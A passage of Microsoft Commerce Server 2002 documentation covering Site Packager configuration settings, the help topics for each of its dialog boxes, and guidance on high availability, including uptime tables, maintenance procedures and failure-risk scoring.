  • The Machine property is used for unpacking an application to a remote Web server. Leave this field blank to unpack on the local server.

[BlankBizDesk]

ASPDir=
VRoot=
Website=
Machine=

    Notes

  • Website= is the only required property.
    •

  • The Website property is localized; therefore, it must match the Website name in the MMC snap-in of Internet Information Services (IIS). If the property does not match, Site Packager cannot locate it.
    •

  • The Machine property is used for unpacking an application to a remote Web server.  Leave this field blank to unpack on the local server.
    •

[Biz Data Service]

    Note

  • The string is localized; therefore, it must match the resource name listed in Commerce Server Manager. If the string does not match, Site Packager cannot locate it.
    •

GlobalResourceName= (Add new global resource)

[Global Data Warehouse]

    Note

  • The string is localized; therefore, it must match the resource name listed in Commerce Server Manager. If the string does not match, Site Packager cannot locate it.
    •

GlobalResourceName= (Add new global resource)

[Site CS Authentication]

    Note

  • The string is localized; therefore, it must match the resource name listed in Commerce Server Manager. If the string does not match, Site Packager cannot locate it.
    •

GlobalResourceName= (Add new global resource)


Site Packager Dialog Box Help

This section contains the context-sensitive help topics for Commerce Server Site Packager.

This section contains:

  • Welcome to the Commerce Server Site Packager Dialog Box
  • Package Site Dialog Box
  • Unpack Dialog Box
  • Quick Unpack Dialog Box
  • Unpack Method Dialog Box
  • Site Name Dialog Box
  • Select Resources Dialog Box
  • Global Resource Pointers Dialog Box
  • Database Connection Strings Dialog Box
  • Select Applications Dialog Box
  • Select IIS Web Sites and Virtual Directories
  • Master Database Dialog Box
  • New Database Dialog Box
  • Data Warehouse Properties Dialog Box
  • Profiling System: Active Directory Data Source Dialog Box
  • Profiling System: OLEDB Data Source Dialog Box
  • Unpacking Is Complete! Dialog Box
  • Select Site Dialog Box
  • Profiling System Dialog Box


Welcome to the Commerce Server Site Packager Dialog Box

The following table shows the options and functions available in the Welcome dialog box. This dialog box is displayed when you use Commerce Server Site Packager.

Use this | To do this
Unpack from a package file | Select to unpack a Commerce Server application onto a Web server. For more information, see Unpacking a Site.
Package an existing site | Select to create a package that contains a Commerce Server application, so that you can move it to another Web server. For more information, see Packaging a Site.

See Also

Installing on a Four-Computer Clustered Configuration

IIS Properties That Are Packaged

How Global Resources Are Unpacked

How Database and Application Names Are Created

How Web Server Permissions Are Set

Site Packager Name and Size Restrictions

Best Practices for Site Packager


Package Site Dialog Box

When you package a site using Commerce Server Site Packager, the Package Site dialog box is displayed for you to specify the site you want to package, and the name of the package file.

The following table shows the options and functions available in the Package dialog box.

Use this | To do this
Site to package | Select the name of the Commerce Server site you want to package.
Package file to create | Type a name for the package file you are creating.

See Also

Packaging a Site

IIS Properties That Are Packaged

How Global Resources Are Unpacked

How Database and Application Names Are Created

How Web Server Permissions Are Set

Site Packager Name and Size Restrictions

Best Practices for Site Packager


Unpack Dialog Box

When you unpack a site using Commerce Server Site Packager, this dialog box is displayed for you to specify the name of file to unpack, and the type of unpacking you want to perform.

The following table shows the options and functions available in the Unpack dialog box.

Use this | To do this
File to unpack | Select the name of the package file you want to unpack.
Quick unpack | Specify that you want to quickly install all applications in this site on the local computer, and all databases on a single local or remote computer.
Custom unpack | Specify that you want Site Packager to prompt you to choose all settings for unpacking your site. You can specify which applications to install, and how to configure their databases.

See Also

Unpacking a Site

Packaging a Site

Installing on a Four-Computer Clustered Configuration

IIS Properties That Are Packaged

How Global Resources Are Unpacked

How Database and Application Names Are Created

How Web Server Permissions Are Set

Site Packager Name and Size Restrictions

Best Practices for Site Packager


Quick Unpack Dialog Box

When you unpack a site using Commerce Server Site Packager, this dialog box is displayed if you selected the Quick unpack option in the Unpack dialog box.

The following table shows the options and functions available in the Quick Unpack dialog box. This dialog box is displayed when you use Commerce Server Site Packager.

Use this | To do this
Site name Type the name you want to give your site.

Note

  • The names of your virtual directories for the applications in your site will be the same as the application names used when you packaged the site.
IIS Web site | Select the name of the Internet Information Services (IIS) Web site that will host your site. This must be an existing Web site. You can use the IIS snap-in to create a new IIS Web site.
SQL Server computer | Type the name of the server running SQL Server that will host your site databases.
Use Windows Integrated security Select this option if you want to use integrated Windows authentication.

This is the recommended configuration.

When you use Windows integrated security, user names and passwords are not stored in the SQL Server connection string, and are not affected by SQL password resets. For information about Commerce Server security, see Securing Your Site.
Use a specific user name and password | Select this option if you want to use SQL Server authentication when connecting to the databases.
SQL user name Type the user name of the person with logon privileges to the server running SQL Server. Use a login that is a member of one of the following SQL Server roles: sysadmin or dbcreator. To avoid OLAP errors, you must avoid the following special characters:

/, ?, &, \, <, >, :, |, #, @, %, and '
SQL password Type the password of the user with logon privileges to the server running SQL Server. To avoid OLAP errors, you must avoid the following special characters:

/, ?, &, \, <, >, :, |, #, @, %, and '

See Also

Unpacking a Site

Packaging a Site

Installing on a Four-Computer Clustered Configuration

IIS Properties That Are Packaged

How Global Resources Are Unpacked

How Database and Application Names Are Created

How Web Server Permissions Are Set

Site Packager Name and Size Restrictions

Best Practices for Site Packager


Unpack Method Dialog Box

The following table shows the options and functions available in the Unpack Method dialog box. This dialog box is displayed when you use Commerce Server Site Packager.

Use this | To do this
Create a new site | Select to create a new Commerce site.
Add resources in the package to an existing site | Select to add resources, such as Profiles, to an existing Commerce Server site.
Add an application in the package to an existing site Select to add an application, such as Business Desk, to an existing site.

Note

  • To install more than one Business Desk application on an existing site with a different IIS application name, you need to rename the HTML Application (HTA) files and create new Business Desk icon shortcuts before installation. If you do not rename the files, the HTA files will replace the files that were based on the original site, as well as the Business Desk icons.
Add a Web server to an existing application in an existing site | Select to install applications on a Web server that is administered on another server. This option adds a new Web server to your site. This option does not install the Commerce Server administrative tools to the new Web server.

See Also

Unpacking a Site

Packaging a Site

Installing on a Four-Computer Clustered Configuration

IIS Properties That Are Packaged

How Global Resources Are Unpacked

How Database and Application Names Are Created

How Web Server Permissions Are Set

Site Packager Name and Size Restrictions

Best Practices for Site Packager


Site Name Dialog Box

The following table shows the options and functions available in the Site Name dialog box. This dialog box is displayed when you use Commerce Server Site Packager.

Use this | To do this
Site name | Type the name of site you want to create.
Existing sites | View a list of existing sites. You cannot select a name from this list if you are creating a new site.

Notes

  • To avoid unpacking errors, you must avoid the following special characters (/, ?, &, \, <, >, :, |, #, @, %, and ') and key combinations (such as ALT+number) in your site name. The site name is appended to your database names, and special characters or key combinations can corrupt these names.
  • Do not specify a Site Name of more than 127 single-byte or double-byte characters.
  • Do not name your site "Commerce." This is a reserved OLAP database name. Naming your site "Commerce" could lead to the deletion of your OLAP database the next time you unpack a site.

See Also

Unpacking a Site

Packaging a Site

Installing on a Four-Computer Clustered Configuration

IIS Properties That Are Packaged

How Global Resources Are Unpacked

How Database and Application Names Are Created

How Web Server Permissions Are Set

Site Packager Name and Size Restrictions

Best Practices for Site Packager


Select Resources Dialog Box

The following table shows the options and functions available in the Select Resources dialog box. This dialog box is displayed when you use Commerce Server Site Packager.

Use this | To do this
Resources to unpack | Specify which resources you want to unpack. If the resource is included in this list, its settings and schema will be unpacked.
Add | Move items selected in the Available resources list to the Resources to unpack list.
Add All | Move all items in the Available resources list to the Resources to unpack list.
Remove | Move items selected in the Resources to unpack list to the Available resources list.
Remove All | Move all items in the Resources to unpack list to the Available resources list.

Note

  • You must install the Site CS Authentication and Profiles resources together. They do not work unless both are installed.

See Also

Unpacking a Site

Packaging a Site

Installing on a Four-Computer Clustered Configuration

IIS Properties That Are Packaged

How Global Resources Are Unpacked

How Database and Application Names Are Created

How Web Server Permissions Are Set

Site Packager Name and Size Restrictions

Best Practices for Site Packager


Global Resource Pointers Dialog Box

The following table shows the options and functions available in the Global Resource Pointers dialog box. This dialog box is displayed when you use Commerce Server Site Packager.

Use this | To do this
Global resource pointers | Select a global resource pointer you want to configure. The Maps to global resource column indicates whether a new global resource will be created locally, or where the global resource exists.
Existing global resources | Select the location of the global resource you want this computer to use. The list will contain global resources created during Commerce Server setup.

See Also

Unpacking a Site

Packaging a Site

Installing on a Four-Computer Clustered Configuration

IIS Properties That Are Packaged

How Global Resources Are Unpacked

How Database and Application Names Are Created

How Web Server Permissions Are Set

Site Packager Name and Size Restrictions

Best Practices for Site Packager


Database Connection Strings Dialog Box

The following table shows the options and functions available in the Database Connection Strings dialog box. This dialog box is displayed when you use Commerce Server Site Packager.

Use this | To do this
Resource | Select the resource on which you want to perform an action, such as changing a database server.
Modify | Specify a different server or database for a resource.
Defaults | Return your connection strings to the default settings, which consist of two databases (one for Data Warehouse and one for the other resources) stored locally.
Copy Copy the database connection string of the selected resource to the Clipboard.

Note

  • To copy a database connection string, select the row that contains the connection string you want to copy, and then click Modify. In the Data Link Properties dialog box, select or type the server and database name(s) you want to copy, and then click OK. In the Database Connection Strings dialog box, reselect the row that contains the connection string you want to copy, and then click Copy.
Paste Paste the selected resources from the Clipboard.

Note

  • To paste a database connection string from the Clipboard, select the row(s) to which you want to copy the connection string, and then click Paste.
New Database | Create a new database for the selected resource(s). Use this command if you want to put the database on a different computer.

See Also

Unpacking a Site

Packaging a Site

Installing on a Four-Computer Clustered Configuration

IIS Properties That Are Packaged

How Global Resources Are Unpacked

How Database and Application Names Are Created

How Web Server Permissions Are Set

Site Packager Name and Size Restrictions

Best Practices for Site Packager


Select Applications Dialog Box

The following table shows the options and functions available in the Select Applications dialog box.

Use this | To do this
Applications in the package | Specify which applications you want to unpack. Clear the check boxes for applications you do not want to install.

See Also

Unpacking a Site

Packaging a Site

Installing on a Four-Computer Clustered Configuration

IIS Properties That Are Packaged

How Global Resources Are Unpacked

How Database and Application Names Are Created

How Web Server Permissions Are Set

Site Packager Name and Size Restrictions

Best Practices for Site Packager


Select IIS Web Sites and Virtual Directories

The following table shows the options and functions available in the Select IIS Web Sites and Virtual Directories dialog box. This dialog box is displayed when you use Commerce Server Site Packager to unpack a site.

Use this | To do this
Application | Select the application on which you want to perform an action.
IIS computer name | Type the computer name of the IIS Web server to which you want to unpack the application files. To update the list of Web sites on the remote computer, click Refresh.
IIS Web site | Select an existing IIS Web site, the location of your site on the server.
Refresh Web Sites | Select to update the list of available IIS Web sites. Select this if you create a new IIS Web site while this dialog box is displayed.
IIS path | Specify the name of the IIS path of your site. This name will appear in the URL path of your site.

Note

  • Site Packager locates your applications in separate subfolders inside the IIS Web site you specify, and inside the physical folders your IIS Web site points to. It will name those subfolders with the virtual directory name you specify for each application. By default, these virtual directory names are the same as the application names.

See Also

Unpacking a Site

Packaging a Site

Installing on a Four-Computer Clustered Configuration

IIS Properties That Are Packaged

How Global Resources Are Unpacked

How Database and Application Names Are Created

How Web Server Permissions Are Set

Site Packager Name and Size Restrictions

Best Practices for Site Packager


Master Database Dialog Box

The following table shows the options and functions available in the Master Database dialog box. This dialog box is displayed when you use Commerce Server Site Packager to unpack a site.

Use this | To do this
SQL user name | Specify the user name of the person with logon privileges to the server running SQL Server. To create a new database, you must use a login that is a member of one of the following SQL Server roles: sysadmin or dbcreator. To avoid OLAP errors, you must avoid the following special characters: /, ?, &, \, <, >, :, |, #, @, %, and '
SQL password | Specify the password of the user with logon privileges to the server running SQL Server. To avoid OLAP errors, you must avoid the following special characters: /, ?, &, \, <, >, :, |, #, @, %, and '
Test Connection | Test the connection to this computer to the database server specified at the top of the dialog box.

See Also

Unpacking a Site

Packaging a Site

Installing on a Four-Computer Clustered Configuration

IIS Properties That Are Packaged

How Global Resources Are Unpacked

How Database and Application Names Are Created

How Web Server Permissions Are Set

Site Packager Name and Size Restrictions

Best Practices for Site Packager


New Database Dialog Box

The following table shows the options and functions available in the New Database dialog box. This dialog box is displayed when you use Commerce Server Site Packager to unpack a site.

Use this | To do this
SQL Server computer | Type the name of the SQL Server cluster.
Database name | Type the name you want for the Data Warehouse database.
SQL user name | To create a new database, you must use a login that is a member of one of the following SQL Server roles: sysadmin or dbcreator. To avoid OLAP errors, you must avoid the following special characters: /, ?, &, \, <, >, :, |, #, @, %, and '
SQL password | Type the SQL Server login password. To avoid OLAP errors, you must avoid special characters: /, ?, &, \, <, >, :, |, #, @, %, and '
Create Database | Click to create the new database on the specified server.

See Also

Unpacking a Site

Packaging a Site

Installing on a Four-Computer Clustered Configuration

IIS Properties That Are Packaged

How Global Resources Are Unpacked

How Database and Application Names Are Created

How Web Server Permissions Are Set

Site Packager Name and Size Restrictions

Best Practices for Site Packager


Data Warehouse Properties Dialog Box

The following table shows the options and functions available in the Data Warehouse Properties dialog box. This dialog box is displayed when you use Commerce Server Site Packager to unpack a site.

Use this | To do this
Name | Type the name you want to give to the global Data Warehouse resource.
Server | Type the name of the SQL Analysis (OLAP) computer.
Database | Type the name of the Analysis (OLAP) database to use.
Test Connection | Test the connection between this computer and the server hosting the Data Warehouse.
Skip Resource | Skip the configuration of the local pointer to a global Data Warehouse resource.

See Also

Deploying Multiple Sites that Share a Single Data Warehouse

Data Warehouse Configurator

Unpacking a Site

Installing on a Four-Computer Clustered Configuration

IIS Properties That Are Packaged

How Global Resources Are Unpacked

How Database and Application Names Are Created

How Web Server Permissions Are Set

Site Packager Name and Size Restrictions

Best Practices for Site Packager


Profiling System Dialog Box

This is the first Profiling System dialog box that appears when you unpack a site. If you are unpacking a Solution Site, click Next to accept the default entries.

To specify your own profile settings, do the following:

Use this | To do this
Profile Schema Definition (*.xml) | When you pack a site, Site Packager extracts the profile schema from your Profiles database and stores it in an XML file. Specify that XML file here so it is unpacked. When you unpack a Solution Site, accept the default XML file, ProfileDefinition. This file contains the following profile definitions: Address, BlanketPOs, Organization, Targeting Context, and User Object.
Site Terms Definition (*.xml) | When you pack a site, Site Packager extracts the site terms definition from your database and stores it in an XML file. Specify that XML file here so it is unpacked. When you unpack a Solution Site, accept the default XML file, SiteTerms. This file contains the predefined site terms for your use.
Expression Definition (*xml) | When you pack a site, Site Packager extracts the definitions for expressions that you defined using Business Desk, and stores them in an XML file. Specify that XML file here so it is unpacked. When you unpack a Solution Site, a default XML file is provided, ExpressionDefinition. This file does not contain any predefined expressions for the Solution Sites.

See Also

Unpacking a Site

Packaging a Site

Packaging Extended Profile Schema

Installing on a Four-Computer Clustered Configuration

IIS Properties That Are Packaged

How Global Resources Are Unpacked

How Database and Application Names Are Created

How Web Server Permissions Are Set

Site Packager Name and Size Restrictions

Best Practices for Site Packager


Profiling System: Active Directory Data Source Dialog Box

This is the second dialog box is displayed when you use Commerce Server Site Packager to unpack the Supplier AD Solution Site. This dialog box is displayed only when you unpack the Supplier AD Solution Site.

The following table shows the options and functions available in the Profiling System: Active Directory Data Source dialog box.

Use this | To do this
Domain | Type the Windows domain that contains your site.
User name | Type a valid Windows domain user name. You must type the user name in one of these formats: domain\username username@domain
Password | Type the domain password for the specified user.
Parent URL | Type the location in the directory tree where you want your data to be stored.
Use Simple Bind | Select to send the password in clear text. This option is less secure, but is required by some directory services.
Execution Script | Execute Visual Basic scripts for creating objects in the directory tree pertaining to this site.
Test Connection | Test the validity of the connection to the domain controller.

See Also

Unpacking a Site

Packaging a Site

Packaging Extended Profile Schema

Installing on a Four-Computer Clustered Configuration

IIS Properties That Are Packaged

How Global Resources Are Unpacked

How Database and Application Names Are Created

How Web Server Permissions Are Set

Site Packager Name and Size Restrictions

Best Practices for Site Packager


Profiling System: OLEDB Data Source Dialog Box

This is the second of two Profiling System system dialog boxes that is displayed when you unpack a site using Commerce Server Site Packager. This dialog box is not displayed when you unpack the SupplierActiveDirectory Solution Site.

The following table shows the options and functions available in the Profiling System: OLEDB Data Source dialog box. If you are unpacking a Solution Site, click Next to accept the default entries.

Use this | To do this
Modify | Accept the default connection string to the Profiles database, or click Modify to configure a new connection string.
Schema definition scripts | To pack the profile definitions, use SQL Server Enterprise Manager to export the definitions (schema) from the SQL database to a .sql file, and then specify the name of that file here. When you unpack your site, you will specify this file so the definitions will be unpacked into the runtime data stores (the SQL tables that store the data for the user, address, organization, and so forth.). For more information, see Packaging Extended Profile Schema.
Data population scripts | If you have extracted the profile data from a Profiles database, you can specify data population scripts so when you unpack, the profile data is imported into the runtime data stores (the SQL tables that store the data for the user, address, organization, and so forth.). For a sample script that contains data for two users, see PopulateProfileSql.sql, which is located in \Program Files\Microsoft Commerce Server 2002. For information about using scripts with site packager, see Using Scripts with Site Packager.

See Also

Unpacking a Site

Packaging a Site

Packaging Extended Profile Schema

Installing on a Four-Computer Clustered Configuration

IIS Properties That Are Packaged

How Global Resources Are Unpacked

How Database and Application Names Are Created

How Web Server Permissions Are Set

Site Packager Name and Size Restrictions

Best Practices for Site Packager


Unpacking Is Complete! Dialog Box

The following table shows the options and functions available in the Unpacking is Complete! dialog box.

Use this | To do this
View Selected Application | Run the application selected in the IIS applications created during unpacking box.
View Log File | Open the Site Packager log file, which lists all the events that take place while Site Packager runs. Use this to get information if errors occurred.
Finish | Close Site Packager.


Select Site Dialog Box

The following table shows the options and functions available in the Select Site dialog box. This dialog box is displayed when you use Commerce Server Site Packager.

Use this | To do this
Existing sites | Select the name of the site you want to modify.

See Also

Unpacking a Site

IIS Properties That Are Packaged


Profiling System Dialog Box

This Profiling System dialog box appears when you package a site using Commerce Server Site Packager.

The following table shows the options and functions available in the Profiling System dialog box.

Use this To do this
Schema definition scripts (*.sql, *.vbs) To pack the profile definitions, use SQL Server Enterprise Manager to export the definitions (schema) from the SQL database to a .sql file, and then specify the name of that file here.

When you unpack your site, you will specify this file so the definitions will be unpacked into the Profiles tables in the runtime data stores (the SQL tables that store the data for the user, address, organization, and so forth.).

For more information, see Packaging Extended Profile Schema.
Data population scripts (*.sql) To pack the profile data stored the Profiles database, use Enterprise Manager to export the profile data from the SQL database to a .sql file, and then specify the name of that file here.

When you unpack your site, you will specify that .sql file to populate Profiles tables in the runtime data stores (the SQL tables that store the data for the user, address, organization, and so forth.).

For a sample script that contains data for two users, see PopulateProfileSql.sql, which is located in \Program Files\Microsoft Commerce Server 2002.

For information about using scripts with site packager, see Using Scripts with Site Packager.

See Also

Packaging a Site

Packaging Extended Profile Schema

IIS Properties That Are Packaged


Maintaining High Availability

A highly available site provides resiliency from errors of the underlying platform and single points of failure. Availability encompasses reliability, recovery, and failure. One of the most common measures of availability is the percentage of time that a given system is active and working. The following table correlates the percentage of availability to calendar time equivalents.

Acceptable Uptime (%) | Downtime Per day | Downtime Per month | Downtime Per year
95 | 72.00 minutes | 36 hours | 18.26 days
99 | 14.40 minutes | 7 hours | 3.65 days
99.9 | 86.40 seconds | 43 minutes | 8.77 hours
99.99 | 8.64 seconds | 4 minutes | 52.60 minutes
99.999 | 0.86 seconds | 26 seconds | 5.26 minutes

This table shows that a system with 99.9 percent acceptable uptime can only be inoperable for 86.4 seconds per day or 4 minutes per month. This table should help the business decision makers plan their solutions.

To increase availability, the system deployment, software, and management practices for the solution must be carefully engineered. Since it is very difficult to predict when or even how often a system can fail, the way to plan for better reliability is to shorten the recovery time. If your system can recover from failures within 86.4 seconds then you can have a failure every day and still achieve 99.9 percent availability.

In contrast to the above concept of availability as a function of uptime is the view of availability as a function of successful transactions completed with the solution. In other words, if the Web site handles 100,000 requests per day, then 99.9 percent availability implies 100 failed requests per day. If you consider this concept as the measure of availability then the requirements for availability in business planning might vary. However, you might consider varying request traffic in this solution.

The following table defines typical availability measurements. Use this table to help you decide what level of availability you need for your site.

Level of availability | Availability target | Downtime per year
Commercial | 99.5% | 43.8 hours
Highly available | 99.9% | 8.8 hours
Fault resilient | 99.99% | 53 minutes
Fault tolerant | 99.999% | 5 minutes
Continuous | 100% | 0

This section describes the Commerce Server features that support high availability, identifies single point of failures of each Commerce Server system, and describes techniques you can use to support high availability.

This section contains:

  • Estimating Your Availability Requirements. Explains how to determine the availability requirements for your site.
  • Maintenance Procedures for High Availability. Provides guidelines about establishing maintenance procedures.
  • Preventing Site Failures. Describes common causes of site failure and how to resolve these issues.
  • Preventing Hardware Failuers
  • Estimating the Likelihood of a Site Failure
  • Preventing Business Logic Tier Failures
  • Preventing Database Tier Failures
  • Component Design Considerations for High Availability. Lists example uptime requirements for Commerce Server functions.


Estimating Your Availability Requirements

When you build a high availability site, the deployment becomes increasingly expensive as you approach 100 percent availability. You must choose the trade-offs and compromises you are willing to make to fit your budget.

The following table provides a sample framework to help you calculate the benefits of implementing given failure prevention strategies. The numbers used in the table are only a guideline. Use your own data and judgment to create a risk assessment table for your site.

The table describes the usage profile and impact of failure for each Commerce Server feature. Note that the availability targets shown in the table are typical examples. You might choose different availability targets for your site.

Feature Usage profile Failure impacts Availability target (%)
Product Catalog System
  • 100% read-only
  • Large administrative updates
 Shopping not available 99.99
Data Warehouse (OLAP databases and cubes)
  • Fast read/write access required
 Reports not available 99.9
Data Warehouse (import)
  • Read/write very large database
 Data not current 99
Directory Service
  • 99% read only
 Customer authorization not available; shopping by anonymous users only 99.9
Targeting System
  • 100% read-only
  • Administrative updates
 Degraded shopping experience 99
Order Transactions
  • Read/write
  • Highest security and availability requirements
 Shopping not available 99.999
Profiling System
  • 97% read
  • 3% write (modify)
 Customer authorization not available; no personalized content; shopping by anonymous users only 99.9

You can use either SQL Server or Active Directory for authentication on a large site. Both support shopping by anonymous users.

Note

  • Directory Service includes Active Directory, Site Server 3.0, LDAP Server, or any other third-party LDAP server.


Maintenance Procedures for High Availability

One of the most effective means of ensuring site availability can also be inexpensive to implement: creating well-documented and accurate maintenance procedures.

Create the following maintenance procedures for your site:

  • Change management
  • Service-level management
  • Problem management
  • Capacity management
  • Security management

For more information about security management, see Designing Secure Web-Based Applications for Microsoft Windows 2000 by Michael Howard, located online at http://go.microsoft.com/fwlink/?LinkId=6711.

Microsoft has created a knowledge base to describe industry experience and best practices for such procedures called the Enterprise Services Frameworks (Microsoft Readiness Framework, Microsoft Solutions Framework, and Microsoft Operations Framework).

When you have a stable set of maintenance procedures, you can begin to explore ways of improving hardware and software availability. System availability depends on more than redundant hardware and software systems.

Implement change control by recording change requests, approvals, and implementations. Change control provides historical configuration checkpoints and helps correlate issues with changes in configuration. For more information about processes for managing configuration, see Chapter 8, "Developing Your Site", in the Microsoft Commerce Server 2000 Resource Kit, available from Microsoft Press.

Escalation procedures help reduce confusion about what to do during outages. Maintain a list of contacts for each level of security, so that you can get the necessary help immediately when an outage occurs.

Service Level Agreement

It is important to require a service level agreement from Internet Service Providers to guarantee an appropriate level of site monitoring, operations, and availability.

Staged Deployment

Deploy your content from development to test environments, and then to a staging environment to identify failures before they reach the production environment. Set up specific release criteria for each environment so that you can determine when the application is ready for release to the next environment.

For example, the development environment is typically the least restrictive, with a high degree of instability. The test environment should be more stable than the development environment and have better performance. The staging environment should be stable. The production environment should be stable and perform at targeted levels.


Preventing Site Failures

There are three classes of events that can cause site failures: human error, hardware failure, and software failure. Without proper planning, any of these can ruin a site’s target availability.

Human error is the hardest category to manage because the individuals responsible for site maintenance can be its worst enemy. However, when users interact with the run-time site, they might be performing an operation that has an effect. Thus, it is highly recommended that any administrative operation be tried out in the dedicated test environment first and then scripted. When the new administrative operation is rolled into the live site for the first time, it should be carefully monitored for its effect on the overall system. This careful planning will enable a site to achieve the highest level of availability.

This topic lists some of the more common types of problems that cause site failure, and the steps you can take to prevent the failure.

  • Application Software
  • Climate Control
  • Data
  • Electrical Power
  • Hardware
  • Network
  • Security
  • Server

Application Software

Potential problem: Inferior code quality, vulnerability to service attacks, and platform dependencies that are not met.

Preventive steps:

  • Create a robust architecture based on redundant, load-balanced servers. Note that load-balanced clusters are different from Windows application clusters. Commerce Server run-time components were designed for load balancing with Network Load Balancing/WLBS, rather than Windows Clustering.
  • Review code to avoid potential buffer overflows, infinite loops, code crashes, and openings for security attacks.
  • Install stable, tested application software that operates correctly, integrates with existing software, and performs at targeted levels. It is also important to control software versions and manage changes. For more information about managing changes, see Chapter 8, "Developing Your Site", in the Microsoft Commerce Server 2000 Resource Kit, available from Microsoft Press.
  • Use production software only. Avoid using development or evaluation-mode software.

Climate Control

Potential problem: Air-conditioning units or heating units malfunction.

Preventive steps:

  • Maintain the temperature of your hardware within the manufacturer specifications. Excessive heat can cause CPU meltdown and excessive cold can cause failure of moving parts, such as fans or disk drives.
  • Maintain humidity control. Excessive humidity can cause electrical short circuits from water condensing on circuit boards. Excessive dryness can cause static electricity discharges that damage components when you handle them.

Data

Potential problem: Data corruption.

Preventive steps:

  • Conduct regular backups and archive backups offsite. For example, you can archive every fourth regular backup offsite, to save space.

    If your data becomes corrupted, you can restore the data from backups to the last point before the corruption occurred. If you also back up transaction log files, you can then apply the transaction log files to the restored database to bring it up–to-date.

  • Replay transaction log files against a known valid database to maintain data. This technique is also known as "log shipping to a warm backup server." This technique is useful for maintaining a business-recovery site (also known as a "hot site").
  • Deploy Windows Clustering. Commerce Server uses data stores such as SQL Server and Microsoft Active Directory. SQL Server provides access to data and services such as catalog search. SQL Server uses Windows Clustering to provide redundancy. Active Directory provides access to profile data and can provide authentication services. Active Directory uses data replication to provide redundancy.
  • In general, clustering is more effective for dynamic (read/write) data and data replication is more effective for static (read-only) data.
  • Minimize the probability and impact of a SQL Server failure by clustering SQL Server servers or by replicating data among SQL Server servers. SQL Server 2000 is fully supported for high availability configurations.
  • If you use Active Directory, back up Active Directory stores. (You can do this while Active Directory is online.)

    Use at least two Active Directory domain controllers, with a replication schedule appropriate to your requirements. Restoring a domain controller can be time-consuming and requires that the domain controller be offline. Having peer domain controllers enables you to minimize downtime if you must restore your site from backups.

Electrical Power

Potential problem: Power-conditioning units, Universal Power Supplies (UPS), or generator sets malfunction.

Preventive steps:

  • Use UPSs. Because UPSs are typically battery-powered, they are useful only for outages that last for short periods of time. Be sure to use a UPS that has the same power rating as your equipment.
  • Use power generators as secondary backups to the UPSs. You can use generators for an indefinite period of time because they are fuel-powered (diesel or gasoline) and you can refuel them if necessary.

Hardware

Potential problem: Degraded memory chips and CPU, disk hardware, disk controllers, or power supplies malfunction.

Preventive steps: Deploy redundant hardware components, such as the following:

  • Use Redundant Array of Inexpensive Disks (RAID) disk arrays, disk mirroring, and dual disk controllers to minimize disk failures. There are also a number of excellent third-party solutions for reducing downtime related to disk failure.
  • Use a redundant disk controller.
  • Use redundant fiber-channel host-bus adapters and switches (for SAN configuration). In the event of an adapter or switch failure, the backup adapter or switch provides an alternate path to the SAN.

Network

Potential problem: Switches, routers, firewalls, cable media, or network adapters malfunction. Or ISPs do not comply with Service Level Agreements.

Preventive steps: Implement network redundancy.

  • Use multiple Network adapters, multiple routers, switches, Local Area Networks (LAN), or firewalls.
  • Contract with multiple ISPs or set up identical equipment in geographically dispersed locations.
  • Enable routing and management protocols (may require firewall policy configuration: RIP2, OSPF, ICMP)

Security

Potential problem: Firewalls, networks, and Web applications do not work properly, and you are attacked by hackers on the Internet.

Preventive steps:

  • Contract an independent security audit firm to evaluate your environment.
  • Deploy intrusion-detection tools.
  • Deploy multiple firewalls.
  • Check server and client certificates to ensure the identities of the systems with which your site interacts.

For the latest strategies and techniques for handling security issues, see the following resources:

  • Securing Your Site
  • Microsoft Windows 2000 Security Services at http://go.microsoft.com/fwlink/?LinkId=6712.
  • Microsoft Security home page at http://go.microsoft.com/fwlink/?LinkId=6679
  • Microsoft Security Bulletins from TechNet at http://go.microsoft.com/fwlink/?LinkId=6713
  • Microsoft Security Tools from TechNet http://go.microsoft.com/fwlink/?LinkId=6689

Server

Potential problem: Server is overloaded.

Preventive steps: Deploy redundant, load-balanced servers. Single-IP solutions increase site capacity by distributing HTTP requests proportionally, according to the capacity of each server for handling the required load. In addition, when you use a single-IP solution, you make sure that users are referred only to operating servers. There are many single-IP solutions available to help you load-balance your servers, such as the following:

  • Microsoft Windows 2000 Advanced Server and Datacenter Server editions both provide a Network Load Balancing (NLB) service.
  • Microsoft Application Center 2000 provides Network Load Balancing enhancements (Request Forwarder) to support many users sharing a single IP address.
  • Investigate hardware-based load-balancing solutions.


Preventing Hardware Failures

Hardware failures can occur at any time. Included in this class of failures are environmental failures such as a natural disaster or a fire. Designing a hardware implementation with the fewest single points of failure is the safest way to minimize the risk. During the deployment planning, the implementer should create a physical hardware map that shows all the connection points for the storage, network, and the software logic. Then potential solutions can be planned and a cost versus risk analysis can be performed. There are many different solutions for this area that range from simple tape backups of critical data all the way to disaster-tolerant bunkers.

The following table lists tools and strategies for reducing downtime due to hardware failures. An "X" in a column means you can use the tool to prevent the indicated type of failure. For example, to prevent application, database, and server failures, use clustered configurations.

Tool or strategy | Application | Database | Network | Server
Clustered configurations | X | X |  | X
Data backups | X | X |  | X
Data replication | X | X |  | X
Dual disk controllers |  | X |  | X
Dual power supplies | X | X | X | X
Dual routers |  |  | X |
Geographically dispersed data centers | X | X | X | X
Mirrored disks |  | X |  | X
Multiple ISPs |  |  | X |
Multiple NICs |  |  | X |
RAID disk arrays |  | X |  | X
UPSs | X | X | X | X


Estimating the Likelihood of a Site Failure

You can use the following formula to estimate the relative probability number (RPN) of a site failure:

  • RPN = O x D x S

In which:

  • O (likelihood of occurrence) is the number of times an error is expected to occur (from 1 to 10; the higher the number, the more likely the error is to occur).
  • D (detectability) is the ease with which a failure can be found (from 1 to 10; the higher the number, the harder the failure is to detect).
  • S (severity) is the degree to which the failure will affect the site (from 1 to 10; the higher the number, the more serious the failure and the more severe the outage).

The following table lists the items that can fail and the effect of the failure, followed by a calculation of the RPN that the failure will occur. It also lists the preventive steps you can take to avoid the failure and the RPN after you have implemented them.

Item Effect of the
failure 		O D S RPN before
prevention 		Preventive steps O D S RPN after
prevention
CPU (dual) Server might go offline 2 4 7 56
  • Monitoring software
  • Remote-access software
  • Disable CPU
  • Reboot
 2 2 7 28
CPU (single) Server offline 2 4 10 40
  • Monitoring software
  • Second CPU
 2 2 8 32
Drives Server offline 5 4 10 200
  • RAID 5 controller with hot spare
  • Monitoring software
 2 2 5 20
Firewall Theft, site altered, or inaccessible 4 4 8 128
  • Monitoring software
  • Additional firewall
 2 2 4 16
Load balancing All traffic goes to one server

Site inaccessible

 4 4 8 128
  • Monitoring software
  • Additional load-balancing
2 2 4 16
Memory Server offline 2 4 7 56
  • Monitoring software
  • Additional server
 2 2 7 28
